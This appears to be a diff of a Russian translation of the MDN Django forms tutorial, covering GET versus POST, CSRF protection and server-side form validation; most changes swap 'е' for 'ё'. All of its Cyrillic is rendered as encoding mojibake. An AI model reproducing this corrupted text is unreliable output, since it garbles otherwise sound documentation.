<li><code>method</code>: HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…: <em>post</em>, ΠΈΠ»ΠΈ <em>get</em>.
<ul>
- <li>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>POST</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ всСгда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ссли ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ внСсСнию ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСрС. ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ CSRF.</li>
+ <li>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>POST</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ всСгда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ссли ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ внСсСнию ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСрС. ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ CSRF.</li>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>GET</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ„ΠΎΡ€ΠΌ, дСйствия с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π½Π΅ приводят ΠΊ измСнСнию Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для поисковых запросов). ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ рСкомСндуСтся ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ для создания Π²Π½Π΅ΡˆΠ½ΠΈΡ… ссылок Π½Π° рСсурсы сайта.</li>
</ul>
</li>
</ul>
-<p>Ролью сСрвСра Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ являСтся отрисовка Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ состояния Ρ„ΠΎΡ€ΠΌΡ‹ β€” Π»ΠΈΠ±ΠΎ содСрТащСй пустыС поля, Π»ΠΈΠ±ΠΎ с установлСнными Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями. ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΠ΅Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ,Β  сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½ провСсти ΠΈΡ… Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ. Π’ Ρ‚ΠΎΠΌ случаС, Ссли Ρ„ΠΎΡ€ΠΌΠ° содСрТит Π½Π΅Π²Π΅Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ снова ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ, ΠΏΠΎΠΊΠ°Π·Π°Π² ΠΏΡ€ΠΈ этом поля с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ сообщСния, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ "Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ". Π’ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ запрос с "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ" Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранСниС Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° поиска, Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»Π° ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅), Π° Π·Π°Ρ‚Π΅ΠΌ, Π² случаС нСобходимости, ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Ролью сСрвСра Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ являСтся отрисовка Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ состояния Ρ„ΠΎΡ€ΠΌΡ‹ β€” Π»ΠΈΠ±ΠΎ содСрТащСй пустыС поля, Π»ΠΈΠ±ΠΎ с установлСнными Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями. ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΡ‘Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ,Β  сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½ провСсти ΠΈΡ… Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ. Π’ Ρ‚ΠΎΠΌ случаС, Ссли Ρ„ΠΎΡ€ΠΌΠ° содСрТит Π½Π΅Π²Π΅Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ снова ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ, ΠΏΠΎΠΊΠ°Π·Π°Π² ΠΏΡ€ΠΈ этом поля с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ сообщСния, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ "Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ". Π’ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ запрос с "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ" Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранСниС Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° поиска, Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»Π° ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅), Π° Π·Π°Ρ‚Π΅ΠΌ, Π² случаС нСобходимости, ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>Как Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, созданиС HTML-Ρ„ΠΎΡ€ΠΌΡ‹, валидация ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ…, пСрСотрисовка Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€ΠΈ нСобходимости, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹Ρ… дСйствий с "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ", Π² Ρ†Π΅Π»ΠΎΠΌ, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ довольно Π±ΠΎΠ»ΡŒΡˆΠΈΡ… усилий для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС "Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ". Django Π΄Π΅Π»Π°Π΅Ρ‚ этот процСсс Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, бСря Π½Π° сСбя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ "тяТСлыС" ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ участки ΠΊΠΎΠ΄Π°!</p>
+<p>Как Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, созданиС HTML-Ρ„ΠΎΡ€ΠΌΡ‹, валидация ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ…, пСрСотрисовка Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€ΠΈ нСобходимости, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹Ρ… дСйствий с "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ", Π² Ρ†Π΅Π»ΠΎΠΌ, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ довольно Π±ΠΎΠ»ΡŒΡˆΠΈΡ… усилий для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС "Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ". Django Π΄Π΅Π»Π°Π΅Ρ‚ этот процСсс Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, бСря Π½Π° сСбя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ "тяТёлыС" ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ участки ΠΊΠΎΠ΄Π°!</p>
<h2 id="ΠŸΡ€ΠΎΡ†Π΅ΡΡ_управлСния_Ρ„ΠΎΡ€ΠΌΠΎΠΉ_Π²_Django_2"><a id="ΠŸΡ€ΠΎΡ†Π΅ΡΡ_управлСния_Ρ„ΠΎΡ€ΠΌΠΎΠΉ_Π²_Django" name="ΠŸΡ€ΠΎΡ†Π΅ΡΡ_управлСния_Ρ„ΠΎΡ€ΠΌΠΎΠΉ_Π²_Django">ΠŸΡ€ΠΎΡ†Π΅ΡΡ управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π² Django</a></h2>
-<p>Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Π² Django ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π΅ ΠΆΠ΅ самыС Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… частях руководства (ΠΏΡ€ΠΈ ΠΏΠΎΠΊΠ°Π·Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ): ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ запрос, выполняСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ дСйствия, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ страницы HTML (ΠΈΠ· шаблона, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся <em>контСкст,</em> содСрТащий Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹). Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹ΠΉ процСсс Π±ΠΎΠ»Π΅Π΅ слоТным, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСрвСрной части Π½Π°Π΄ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, прСдоставлСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈ, Π² случаС возникновСния ошибок, снова ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ страницу.</p>
+<p>Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Π² Django ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π΅ ΠΆΠ΅ самыС Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… частях руководства (ΠΏΡ€ΠΈ ΠΏΠΎΠΊΠ°Π·Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ): ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ запрос, выполняСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ дСйствия, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ страницы HTML (ΠΈΠ· шаблона, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся <em>контСкст,</em> содСрТащий Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹). Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹ΠΉ процСсс Π±ΠΎΠ»Π΅Π΅ слоТным, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСрвСрной части Π½Π°Π΄ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, прСдоставлСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈ, Π² случаС возникновСния ошибок, снова ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ страницу.</p>
-<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, прСдставлСнная Π½ΠΈΠΆΠ΅, дСмонстрируСт процСсс Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π² Django, начиная с запроса страницы, содСрТащСй Ρ„ΠΎΡ€ΠΌΡƒ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ Π·Π΅Π»Π΅Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ).</p>
+<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, прСдставлСнная Π½ΠΈΠΆΠ΅, дСмонстрируСт процСсс Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π² Django, начиная с запроса страницы, содСрТащСй Ρ„ΠΎΡ€ΠΌΡƒ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ).</p>
<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p>
@@ -87,27 +87,27 @@ translation_of: Learn/Server-side/Django/Forms
<ol>
<li>Показ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ запросС со стороны ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.
<ul>
- <li>Π€ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС поля (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ создаСтС Π½ΠΎΠ²ΡƒΡŽ запись Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…), ΠΈΠ»ΠΈ ΠΎΠ½ΠΈ (поля) ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ измСняСтС запись, ΠΈΠ»ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ).</li>
- <li>Π€ΠΎΡ€ΠΌΠ° Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ являСтся <em>нСсвязанной</em>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ ассоциируСтся с ΠΊΠ°ΠΊΠΈΠΌΠΈ-Π»ΠΈΠ±ΠΎ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (хотя ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния).</li>
+ <li>Π€ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС поля (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ создаётС Π½ΠΎΠ²ΡƒΡŽ запись Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…), ΠΈΠ»ΠΈ ΠΎΠ½ΠΈ (поля) ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ измСняСтС запись, ΠΈΠ»ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ).</li>
+ <li>Π€ΠΎΡ€ΠΌΠ° Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ являСтся <em>нСсвязанной</em>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ ассоциируСтся с ΠΊΠ°ΠΊΠΈΠΌΠΈ-Π»ΠΈΠ±ΠΎ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (хотя ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния).</li>
</ul>
</li>
<li>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ (ΠΈΠ· HTML-Ρ„ΠΎΡ€ΠΌΡ‹) со стороны ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ связываниС ΠΈΡ… с Ρ„ΠΎΡ€ΠΌΠΎΠΉ (классом Ρ„ΠΎΡ€ΠΌΡ‹) Π½Π° сторонС сСрвСра.
<ul>
- <li>БвязываниС Π΄Π°Π½Π½Ρ‹Ρ… с Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ошибки, ΠΏΡ€ΠΈ пСрСотрисовкС Π² дальнСйшСм, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΊ Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅, Π° Π½Π΅ ΠΊ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</li>
